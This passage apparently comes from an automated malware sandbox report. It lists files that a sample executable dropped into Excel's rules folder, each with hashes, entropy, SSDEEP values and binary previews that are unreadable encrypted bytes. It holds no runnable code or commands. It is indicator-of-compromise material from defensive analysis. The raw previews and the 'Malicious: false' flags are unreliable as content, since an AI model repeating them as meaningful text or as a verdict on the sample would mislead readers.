SHA-256:	E6F72B6FF689AE75B2BCD36ADF441B8255FF7390D7BCA1456A604D85DEB062E6
SHA-512:	6110F4567F44F1CC3E1BA55E29E9899186D4C9DC3487460BFCF5735B4641F42C34D32C30B2B678615CC8C854FDF756050F8A7FD591B416732D630D124418C480
Malicious:	false
Preview:	<?xmlg.q..q.=1..+Y.....B.-7.H.$....... Ui..=.J?[.....c_.0\|$......h.$..(...\|H+WV}.Y..\|,...G........y&,_...G...k=9Be...4Z6.)...``.._}......P...P.,.x"..F...H. ..E~..j.1.....?../...=.#.x..n....E..Q...".6._.....61.2....2.....A..5.N...3l.!..ap.u_....&......,D....q..,d...J.g.i..._I..}..;r.._C.p6.....d..g0.zr....:=zO..lx.,l.k..Gp.\|.....Lt0.....3....}.0Wz.....J..Y...0.....CZ.5!...-CNWj.... .r...y.;..l.y.1..../......~.\|.!....E.....\...TC7...\|..Es..X.f.(lX..............A6f.6....._.)....g....n..nS)...u.D..4.....................Q.v.^=...\|v..>Ou.:s.5.....<.b.Q..O...(I.g.X..4V.q...,....Un..0<.{.Z..\|.........x.<:.z.S.VP...x .dgo.M1....V\|.7.6.V..F..7MT;...?........)V.o....q..0p..Y.L.....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100069v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1136
Entropy (8bit):	7.8262424515318285
Encrypted:	false
SSDEEP:	24:I2wM1r778ppBv+3ooX4+ov0EY+BcyRaK5qtUMPMWD1wpWVQr7kbD:9Z7o832+ov9+nK5IUMEAD
MD5:	E3D0E7DB2D27DB25E37ADB939EEF08DC
SHA1:	967E35F5B3204A247AAB38F8F819EF2ED2428B69
SHA-256:	AEE10A1847130C5DA343D209D39206AF7FCF75CCBE101BC4FE01D749829BEBD4
SHA-512:	FB0697A9A4BE5F0B3250CBD1BD7965C7169CCD5DDBD6A079F66250EA5B6C018BEC02E525FCF8B790A47C510074D15C736D4CC373DC0A08B43009E908DF2B845E
Malicious:	false
Preview:	<?xml5.^...YL98..'=....H...3.9M.nl.;.\_....!.M....[E.i....L.0\.Uau....1z.....YP..?=..>...^.>..wG:.T..ea..."_{.r. ...V.,PF....t".x.Bkb..7uo..a..Eu.a"f...K0....].RW..Q.p.5:.....K.v.P.C0..m.gZ,W..I.u.........U:KY.....v&...a...1.<.U..S..9.0..:.......n.v..u...vm...Y.(^............4...N.T..C.lA.t.D.....n..$Q..$....7N...WO.9.....^t9..m..~J...9...~....w.b..+\|V.U.O.w...e....fv.p#D.:..@..B.2.1...@r1.....F...=[cZ..Q.-...?9.z.".. j..oc.#.s..4..`."X......w./!..?.l7c.v-x..\.!s...E..4#.o.6p9......F..Em..3_q.t........y........!._...Y.r.=.^..".....%.%....`&.0.a/Za..g..)T.4C.?.J....\9>._:E..]Y%....(.\|....<.c{.....Mj&g,.,.!.....e.1.E............Xt!....c".....\|I.......S.K.q.1=(...ED...v..`.R...%..E.y...qn...... ..0..~7.!.YU.7.$...EdT4..._.....=%...9.w....../......;.p...e......$..Ye....\f(...F.,.H...S..2}..Nv..Z..AfxU.2..H.....! .#r............Q.......V..TZq.x....iL.$P...r.e&.r._.U..v.^.m.`...........I..'..E..HX...3C..`t[Q..LK,}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100070v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.661958030177533
Encrypted:	false
SSDEEP:	12:+eH36WO0LxdPnnwwFbr0In4KZanJvIdInn5wnWzPBipynGsIC3eO7Prgcii9a:+zTSPnnPFbr0InlaJvL5YDyGsIC3vjkX
MD5:	3746407BB93A28E5337042346D39C6CF
SHA1:	81B270AB73D7D3576DFF384EE5AF5116A3FF6E8E
SHA-256:	BEE891366E0DE5469FBDEB8EB9552C85E4DAD8DCBE24AD6467DD2091F8C25F37
SHA-512:	0E4AAAB1D680CF7ABDE928E6CC3D7C52399DE38E8E3D6C894F1894D75B962AA189EDA907BD7A5E8CFF0142A38860E57FFCEE535B7DA8CE568B3DDEC185BC8599
Malicious:	false
Preview:	<?xml.-.~...+....TnZ...0..7nR.w./pM...Q..D+...5J3../Z..T......sO.%@....M&yv..E.@!'.J........8....(......^.......8...Fq...TT..\5.%...G...).....;.....-..N..Wl...WX.K.\.........,.8P..w..fu...KK..p....B>....p...(;.~.+..hjs..<.4<.R,.!.k?...=..J}SqRg....C6(P-".r..CN...H..'.0v.\|sb..Z...:.Lo..I..(,.Zr...>.k^ .p.$.......U......m.......r-s..5...2...Wi;...p.&4Dz..{.p..f.....e.......(.c..i.\|.l+.....q....S.....4.z..q.3.)..4>.m.p.W.........`u..%.S}....js.-..*p.i..B...=X.O.0H...I...w..pZ..y.=.....u..pn.....c@.. .%C...w....{3....s.+W}.....i..2I..}.(...oU...l<~.l.&..J.... .p.%t....t.....t......g.z..&.LB)U.=.~u.<C`.J..yD...q..89."..i....\|DO..`...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100071v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.667785480414661
Encrypted:	false
SSDEEP:	12:cpiTdK22HadMT1mFcF2n1NHf8OQtAREMpXiAAxqk3QTeqSJS4/MGYQPrgcii9a:cpnHaCpmFcy1N0OQAREQi1xnieqS8Yri
MD5:	3F9A4FB8ABE39104462F78D57DC3151F
SHA1:	A11E3F753BC0ADC33DE3E4319AD8DB0A2388D1C4
SHA-256:	0CB2A9BC766D8C244996FC8F39BE8DC937FF0071F43BFC6BBF6B1C832B35BB4D
SHA-512:	0F7FA18409B973C8F9D4E5BA93361D24D98F5768674606A10B4D9BD084A95EDA21A3D9E916282A51A9E7384A133607115DBCE879B155F592DFD4B4AE763CC739
Malicious:	false
Preview:	<?xmlg.RqE4..o...3..T..xc9..V.....?b...=.2<.O:,-Jgn..;.C3...<k.g.c.9y.....@.o............N..q.Z.JLbH....Vx..B.v.....Q.L...N...W?.@r{..Zp.i-o..E......+>u}e.).EC?.8/.L..0`..2....O....L0id.9.%....F~;......O.$\]p.eR..5....1$o.....M.K.Z.C}.....(.H....1d.W..N....3.b)..'..<.\.?.3..e.?y...u.GF.e,..g>.....z.+.....06A.....O[.<p.....8!7.%p=.s.`?..$.M.....R.;(.;a.gE.^~.Q...G.D...s...4......I.?.l.z.O.3~f-a\|.m]....'X.u.(.....K.B.'...<;m9.E.......tP.,........z.TO....\.E..K.\".(w..0e.....P-....O..._..z{..:..!..[..1._.,..Y.6.S...S>.>H1)a0.....3C.hI...w.Q3....L.5..~.sw../.."..ByN.V..&....D...........K[.6b..\.=.....(......cF.=G.....X+..g.... ...H/..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100074v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.762414994487877
Encrypted:	false
SSDEEP:	12:pta/FK6RZnz7KpJturwkpESBBGpiRjseZlnXkxX/f1chPrgcii9a:pyfnzuPtu0PpiRj7nXqX/f1clkbD
MD5:	2EEF7877BA0E2A599CE02983E2A25401
SHA1:	AB1143752251C5F57B0F9E07802AF168161A763D
SHA-256:	C5EDA21676E8F3D51D46D52A48BADBF5F03DB08236E096A554F9708B78E26667
SHA-512:	63B90AFE207A825AEC8354A213E9CD3B560DFBD9F9F8FCA63B9CBA888F226F504B6DA4E196CA3A17AAFDCAEEAFCC436533B6EA8FBB34508D480A669962BB3600
Malicious:	false
Preview:	<?xml..[.Y.........".!8.nS.S}..j.Ky.....n(.....c>).A.uq.S.6k.!..S_......%....2...Rm.V....S.&D.(.W...}w.......t.r....b..B.1{C..%......5.1.z"......f.i.s...;...q.(+7.,..D4.r``.X..c.........!Q..U..j...P..!.)c.1Z..V..?.............h.)......z...n.F..]..;[.q.n.2?........P..,...O.=.5>a..?.h.Z_.@Vt.Ir(....Vp..F....._l+.....mf.:....hR..PZ,....D.Fv..\|5... ..nx.9.kT..I/....\....l.S..:...n.bz..,.Vw...tG....."0)i.....qb.K.g7..Z.S.C.!.wmV..Cc..p...].P.P...\.o{.9...B.E.W..;-.Y.1...%Mf6Fg).m:...O.Jr.b...2.dK....ww..K.3a.jI.....W..u.{r.{..^..[\.....6!.q....S.HG.g..........YD.c.....Og.x.....l.Dq...U....p.......3...;5k8D.5..{$\|.w..;....E..Y.....s.]^.=..I......u.~z_Z......dN.....:.M.Ev..C....._........."S.3&nhN.....+.]dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100075v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.691083924311496
Encrypted:	false
SSDEEP:	24:mGC+IFsK2jMXig7kKiQlXN/JtDV5F3FTkbD:mCYsBAofQlljFgD
MD5:	7D95E757F6057CB8DBCED09351104B3C
SHA1:	F6830D7B94FF3D82F6B71C2F3CB789778984AFA9
SHA-256:	377088CFEAB89F3E7691F4EC26C148E4C7BD34760252518D72058142590604ED
SHA-512:	63C403DF1B2F3981768126A8A38A4E2B01B10D9C409DB753CF87AC01B8157E5C1D03D6EDA26914F7545E40FCE910D1EDA3A14449FC068AA7A071CB89A1ADCBF4
Malicious:	false
Preview:	<?xml..eD.../..6..C5.m...w.......<.3$Q..m.(..]-d..%& ..?...\|m.\..._9.xH8...Z..81..W.".C.m.]0..H.e.N..\.w..m.Z......U..uN..\|...!...K:..\|...;....2.9..y.F.mF.../>=,".+.b...MO\|r!Q..I1r.A..u.=....Q...D..i..N..4.....&.l.KG..I....I.G.......................}@.~3 .u.1......`.,Jp..l~.o...O...3..E^.....=....Ra.-....,n6...,.3.=U@z..........w.6..=.j"..O8.8...(yE..H.....DA...z.M.T...A..zF........q./=-.....uG.;%..k.P.>..B......x[...w.~_....`...%...."'.4I^..2..j.'.,I.B.H..R..Q.....u...F..i.....7.MK.Ruk....(.F......O..Wh.;...Q..V.y..\|.....3....8.(~...4.1.0.@"D.F...h~............O.\|..7.x...QM.u....'.c....d.M=..T......0.......H4.f.Mi.K+D........Sr.}P.E...;I..d.w...G..k..u\|....Y7u..=........d4.....z.C/.A\|MQP-^.....,N.z.....I<...-...6.F.NL.D...f..,..f>?.s..#..9....>.x.s..\|.Ji.V....k..JA..n\V.L.>r@H90.D.Q`...8...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100076v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	739
Entropy (8bit):	7.6974265449113215
Encrypted:	false
SSDEEP:	12:+G8iWHPK6maODcWWqTGYKuWGPP12rEBAuS/fayUchzmVJIarOwyVpDtijTQOTJGf:+N1KNaGcWWfRu/12wmb/f51zmVO2K2TW
MD5:	AE9C861A39F1D8539F109B60A1E0DA0A
SHA1:	B8BEF3200B933DC6E93AF49E3837A8FAEF2F8EF3
SHA-256:	C9D692233F3A0F027D9D4706B283F5A2D430BE6107B09A9BD98C5548E390C288
SHA-512:	D6853F8036E6C895D8BF62E51D90D931714249705D85DDA9761D252D10B429FC13E7E9646DD6E1382238C9F9CD387BAC9390514E1E3E453687F7F0BBB62E5A3F
Malicious:	false
Preview:	<?xml...b..(]1......T.6.._.Y....Yco......rw.u...U..b..t.V..U.QG9...\<3..jQ.......5>.[...cg.n...v~.<p.g....C.G7.n.Z....QU.3.M...V%&%?'....'.. ...9.m...Z...s.N......`H..o...;q...c.q.....a.d......../..D.u..P.?......0......POe....5.....^.FV...s.x...#....g<.-..5....U......&...W9.s=..\|...i.......5D#...&...3.~............Dr...q.e..-otq. ."..........@...0.eq...#^.........DM.,;$.2..HU...M[<.@-EeQ.2..gB%.L;.#O.........v....T .5,..VQ.b.....m.iV.).jPI..$K.....2.oC....S.....a.id...ilmG..Nd.P....9...6<$I.SoS..K..I...B-..,..A"..I...?.....\|......E\|oQdE..~..-.kK...E..XZ...7.v...kc..uo.D.p..9Ga........h......+\|....H...)..... .r..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100077v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.7389737368592
Encrypted:	false
SSDEEP:	24:Yt/UUmammKGIDf6nIqCy1+Tjmk3N2uIkbD:wH4j60Sum2xFD
MD5:	AB5248075D0B45AA36A2A8DA2F882326
SHA1:	6786B80ADB59281B18ABCE3271502D8A740EF980
SHA-256:	A010C21B4654CED4D5091883D17B5BBAFAD71FE66E51CFD6DEE64711E9E1F3E4
SHA-512:	86427F882B7787AA3BE489825AC4BF4E517D6A61548F84DE01D34D659078BAC0249A70BDE62A4508967D80D0D7AAA2300DA379FBB1F957F9EC5E35F0895BBB40
Malicious:	false
Preview:	<?xmle..y......#oW...{.X0.}.aI..\CoV.4..k....~..)....cD..Ab9.@*".sorRA.j.m.....pc%J.>9!.m..F~oq.n`.F....r.Q.....lV..?@$d+.. .o..Zo...8........p..{...>...).m&.@........:..\|i....E......X....s....CW.YH>..)......h..p,..\`A.O......7..wVi.8...U...h.$.....G>6.M.p'[d...yOH.-zfy..9.......EI.m.t...#..>,. .W.X....H..s..^..\)...=(....}j..JD.s.g........F.^T.;z:V....0..JTL......r~.....s..6..b^[..11..+......w.au....GaheJH9..3.JN.c{2&<...8..ag&..S....M.N..?.g5.v.t........X..Ep...q....i.j....=.h......S.$:....B.[........+.q%...X>.2.t.A..<;...}.).C. $.........ReDA....u..8.....S3.CI..$1N.0......D..~.MR.t.p>:..)s...r...-..J7-.{.q\|>..i...N._...d,.n+0.\'.H......3\|.............\....._[=...=..S.....\.....\.c.B.=...-. 1.vS...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100078v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.689256462900371
Encrypted:	false
SSDEEP:	12:YzRBlKLUQwCZgnygN64Gi+CaCeqxr0fCoZajAXFptHpniiQIZh+xUejPrgcii9a:GzQwhO0+CaqQftZSAXXtQicyeLkbD
MD5:	E8DF4576B3604E313AC5A107DC744A09
SHA1:	389A9E81F99879BB4E50D2C64A24416AD454A115
SHA-256:	095EBE21C5CC9DC8B6B81210F267CDD1D1A238B1FD946B9FC7ED6CE3E94CE8AB
SHA-512:	800B9A6B2EF949BCBB3243A37CE9D3541976A83EAB15963100BF218CC655493263125F6BB709BE6E142FF9E2744237DD07031448753D52EB0ACAB6B1966A6323
Malicious:	false
Preview:	<?xml....\|D....a..`.XX.....$....@ 6.......T4e.S...&.w..~.4bE5..(.... .&..t@..l-E'...3}m....l'8v0..O.-.:.M...Bz<.....@...\|w...r.._..'."%z.)....n...d?.g..T."o.oN.Y.\xDA...Bv~.:..E.\.{.....MY..V.pR....w.r......Q)..=....c.e..}.\|6.....K2#...a..:Zo....@....B.k]8..h.1...(..(A.J..k6'yi.zP.e..[../u.....Pr....Y.@q....r.4.-.#..: ..N..zI....A.Ls...-`..@4C.D....:gz......u.?.!.._.."............G`....x...\|0..f.A...kdc..`...V.vB....<...z..{j..,..W....K...{..t...b.p..8>.e.A[r.....-..5.r..a.".....9.[Y.#.`.=;......,Xr..c_=.H..,..A.8U..\|....Z...lD.4..C..).G...,?m[j........h.....P.fb.....kV.xap#..P..4b...r...........ON:x....IW..!..\|v=.H.u-`.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100079v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.689540085731742
Encrypted:	false
SSDEEP:	12:ykgq2qux52bbbaRe1x2FAb5jai+iwDLbsUyY6Aztsr6G2dsr3CM2H3r/buQo1PrS:Fgq22bbWevwA0pfsUYWuosrSM2H/okbD
MD5:	A029EB59B73DEC6D225719A27D6EA46D
SHA1:	FE2A36E396B6C9C2EFA1D4049BF5D447CF4DFE51
SHA-256:	4EC6B07B6532B1FFB7B642813231E78A82FA41585507D3CC7C87EEFF183E7EA9
SHA-512:	B0B2859FBDD80CAC357E2F9D4F9057226493C2D59E2CB9599DDE0B7870DBAD97975C990C6AA31B6607AC489803BB7BAD79381E9B9DF33F63E7CA29C0FE638891
Malicious:	false
Preview:	<?xml#.....VH..&....v.D..T.G...Q{.(.j1#...-l.[O.X.m)..a.hc.OI..#z.Z.A.u.v.U.vM...K4D.`..[.....~%.Di...]'....j.C....DKT...._9.b.....N..........@1(F.g..kY..+w..xs.TT..o.6Z&[V..S`U.b.+....N.......1..<Sf....-Y.>4r....z.......G...Z.Z]...~.d..XF.9..r.)......`.G....n..co.( .x..s........q(...k...F.7...exR.v:.(.._...l.$z....L..bO(.b.7]!..cX...&..1.A.Y.[.......r.....s..s.7...f...#.......L.G..../X4aj....g_o.m..Z........AzI.$[.;=`.....uQ...."<O.u..t.L4jg..&%.....n..e.]....Z..8...._.w.C7.....9Pt%z.;....#.d-....*1........@!K.)..e.......E~...U..<;..U.d.q......`.l.......Hb..Z.&`#.(G.A.T?w.J...4....d...K..8...V.......C...l.`.....xdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100083v2.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1015
Entropy (8bit):	7.761572836736885
Encrypted:	false
SSDEEP:	24:4hcyjB33we9eA8BsrANby2x/9s+IdTrq9bujXML77uWkbD:4hcwBwe4A8BUAN+2JrIdTrGe27ED
MD5:	BC6B2309C6B5257FED6505F66B5C87D6
SHA1:	1326E08FE0045EAE7AB5D4F8C4C0E3E440AAEBC9
SHA-256:	7B075D260F7DC8FB6DAAE75BB56E955EF5B638A98D4CDEBA159DFC8EF34FF0EC
SHA-512:	B04A80CB8B6AFB7C661CF9C52BD96502ECFCCB65CC0F9133C4DFA9AF76BDCBF631ECB1F7AD18E2A0C16509A1D42CAEC55CA59DF7EB7515126CEFD901604A4944
Malicious:	false
Preview:	<?xml.............1#H.....7P1.>%..A...DE..2=.#...".l%.wHt3_[.h...../.{.L.........f.p`...7ZN:.dl....&.D`.a..GJfv...B8...-....W].fs.....8.....@....s+`..../B.G\.-.....%....t.6...R...y..%..4B,%.. H..X......};$...\.....h.T...(..h...V...p.7.T..8.".k;.A.s.X0"C...B:yF.V..7.....`0...M.(..@.&.5NH.h...2m..........9..2..fm.n5.$n....-B. .T1v........p.9.]...m--.lk.A....0.YM......'....\|...X.......t..f..F........~I....p..t....t..q..$..\|%......)....;./...#;VZ..,e..4...$a.)..M...B........Iy.f...u....M{....(qd.$.%n.v3m8.E.J&..mX...%..y. ..?.?..&..=gt...J$..j........2.n.S.QOX.-...T...JL7..8`y....,.j...]v..o`..j..(....9..*.M..dHw_.qz..Uq.FK.....&\|....0.\|0@nr}.7..3.)l.y.......H.}N....J...N.(..i...__.G..?..[..pV2...^l.W.....\|./p.v:C.(.A.h..t.YD,z...4D=...U........Q%.)..u(.^dT.ST.l.....Ub...oj.....E...<.O...q..Y...[..5..`.%.%......cL..[^a..1......HC.......RSx.I.h..fsv......v.Tpy.y..c.#..yJ5.F....}..Yl.\|=.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100084v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.719367470885421
Encrypted:	false
SSDEEP:	12:3lyddhe+lnY7GwBEnjsE2HE44/LrASxwuyLgmKc1Lw85x/lMNxTXtRrjmXbR0PrS:8Ho+lYPBEoiASxwui5wU/afBmXbRqkbD
MD5:	8BFBAD9848A51B4E4E654155D84583EC
SHA1:	9EF840FF78FD77454E0E7CCF40FF3EE4E505E049
SHA-256:	5ABB281C5B957A0D0FF8A13936957093D6D6B3724ABB6C4C895DF79C6619AA29
SHA-512:	E100E47055CF0B351CE57CC93379FE4BEE9C917686570B9B53FB0654EAF115C642E4C926ACE10F524956560C7526E022468D2000EB6351E6CD98332993C47FE1
Malicious:	false
Preview:	<?xml...X.....$e&..J.....Z.m..sS.....L..0..R.}n...T..[Z..j.eL...c....\W}...8.6...F9.Tf...t,.mL...w....Uo..........H.k,...x..#..#...a,A.f.O.Lfk..U....rxdQ........%)...#.P.m.b.G....P7.Nc....>.......l...).R.<p...A..]R.V..8.d../. ....sC.e..W.y(..T...^......R".L.....,;R...d..u./..Z....T.i.W..f.gV.k.r.##.YN.{..(W6.y..."....U.o.Ol.<....Z\|.oC......x.~6pqf.M..6...G:.....b....yC9..L....$.6....%....X%.P']..[n....5~.....A....YO@e.M...y.AhA`....uo..yG..(..w-.rs.S......p....z.i.Ov.=OZ.#.J....a.N!- ....L..f5Y....,4..C...1..4..F....]..E.h.........=..z.N................D.F......D.-. .K..f(..;.......U8.V..B!.hb...e..*.O...H.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100085v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	755
Entropy (8bit):	7.669566901990063
Encrypted:	false
SSDEEP:	12:56Msy95qQxfU4rzeEkWdPIqFuROC9n/59idHzDJdnptEVduX3IKGFFMFPrgcii9a:gKUwU4eEkWhoRO0h9iFvudCZGzM5kbD
MD5:	131B6675D8619EBB2A701F72760B72D3
SHA1:	1307E6627591CF98A79931C2B0E2AB6FC5920673
SHA-256:	637F54E7246C0049DC9B6A6DDD259A5927ACADB8E5556C27556F742918E502B5
SHA-512:	404589A98843AD20011C2AAD361DE80E52733FF72CBFE7E3BAEFE9113BBC780987A76E641EA7BE8134B82AD1E15DECD48DB3A7032F31D0889539D24BC56E990C
Malicious:	false
Preview:	<?xml....7+\|.k..z(..#..@T....e.K....j1..>.`...G.e.m..K.k.oP?@........l.]..I.[{....i.2..Y.....z...4.6....7.Wbr...f?I...a.......UP.a.&.T.c......=.c...PO....x6R.....4.1M.j.h..h..ON..c.....].6..C...d.......E.....]I...d...&....^OI....<BJ..l..55.m(......9Y......./.%.=..o...u........z&.F..s....Wi...v47.6J....i...._.{_.qN...H.AC./..n.RSq...3w.Z.....f8..5\|.ZE..u}...ur..d....d...]......H.C.M..g.<..%..4$..<w..y..TcGT+./.....x...sG.e......_H\|.0qO.D.....0..\5.x. .....b.fl....'-_..Z5..P.pf.F.......0.W.,...4J.../..,..X...d.....uYZ..\..%......x.5....E..vR%.A.e.OM...\|X].^.o.$@.A....B.....M.^8E...._`.Uc..c\>.....q5M..'..^........[O..\...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100094v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.709618442955351
Encrypted:	false
SSDEEP:	24:0ynjpSDHfUAoUzACYFhXfXx71R982MqPmCkbD:xnlCHfys0FhXP7R982MqSD
MD5:	5DF027E431797D1C5F7662F37805183F
SHA1:	4C4F050E6692B69068A1281CA069DC3164261BAB
SHA-256:	58E9BB24BA2327925C1CDC61DD13E2845500FDA187662F1C993DDAEF5B8BA99E
SHA-512:	891194476F5D6D77B33481C3052988F6A72707350A6B9285F592EFDB0C5FE76AF7661C63F4A01916DB1E07A1808C6ACA97954BE9D1D6FD04AEBA54E97277D89E
Malicious:	false
Preview:	<?xml\|Q..B.=.......(.Eo?%.!...i.#8...q9.@>....G.....i..=(.)N.G)0...x>.=._...E......e..@.J.ajx.o.....\A....I5...'.....ix......8..f..$.l...=...Y.a.os>n..g...,.S..(T.{...n..u..(.........a.rN3z...z........k..LE....0.#.we.@"..{E_W..x.....R,..kk."../.l...{..xk.#.../.....0p..[.EW..0.)...kUSl(...Or..R...Py..g.{.."n.i.....{y.......M............WWWW.........5".RX...X..Zy..'...{..........1. f.9.9.3..D..Gd....R..7......:s.]'U;..,$-. t.......pEs..2.l..>.bV.n.0X..zG^....qr.a._....B..-.....`.h.U.2.....K5Ag_0G..ej........ .H@A......<....=\|.t]?2..~EB.2...BN8.........i~....u._..Q...`[..\..7....b....z.ch]A+....0.@.g..@... b.0*..E.G..Z.........yKdv./b.+P..8...e.]`...b.8...0.F.......m..].1dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.905706497598956
Encrypted:	false
SSDEEP:	48:Or5LGm81ST0LDCWLCon2Iq1aA7Eb82/LPk1aD:UL2SgCTo81S82/LPk1y
MD5:	D861B0659484A542789B534F18ECE1D4
SHA1:	8A5F2C7A125B31B34C8569A8300F560BD0DB57F6
SHA-256:	2B877D780719B67F725C75A12AF1EF33679844F7735ACD4DFB02FDC108FEB4A6
SHA-512:	833E1C881A4752E69777821364CAAA351989278AE2E06263CBA8351A58C642703488361E2C685367C5DC018F8F4D8D4D62E48402CA5C1B650A740B7DFC23B694
Malicious:	false
Preview:	<?xmlf..........".g.+.IP.L..B>T....e..,..{.z.=.PHV........I....HK.#......I..]...,R.`.Y(....s.....t..0.....>.f.e"Q..]q,.....q..@...).<...>[.].K..K..].gw..1w.wh.RR....Ff.../V.%Q.._El.Z....&..i...j..k..:.<.?WZQiU..9...7.(..Z.{(;q..D.G..s(]7...7S..E..Mz..=....Ws.v......#......d.Z.z=.s.%.X..V....}....."..K.-..eN..ADW.B......H.\.U.$...c.t....sHF...........i.!..d'..qZ.!U.t(A.g.;.#p~..'.]/..\|:..o.._.X...L.d..J.T.pl.]..)...... .y]..........6..RX.....=b.(.........~".&.7......-"b..A{....Y Eb..u...u/...^E......?..M.......c.....")5@... -{9..NK..T..i.....HP..;.}....z....!.r..[..`.[(.6...u...r./k......Nrr..[n.u....Z.}....=4..c..~FE.s..g....!_r[0..40.\|hc.g....6.......v.z.Y.DB~.b()}.@...s..b..ed...>~`^.\g.X.oO;...Us........]..Zm........Y.....Y......N.<.g..-Rj..A...Y=....<....q.D....!..'.Q..i..\....6a.V.../....*....{@u......b-@..?-...Y?T....h../....b...l..1LO.,.'...E"..z"..1.9.....-..e...,.:z....<...t.!<0.a........cgcA....>.......tl=,c[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100104v2.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1284
Entropy (8bit):	7.833741952147954
Encrypted:	false
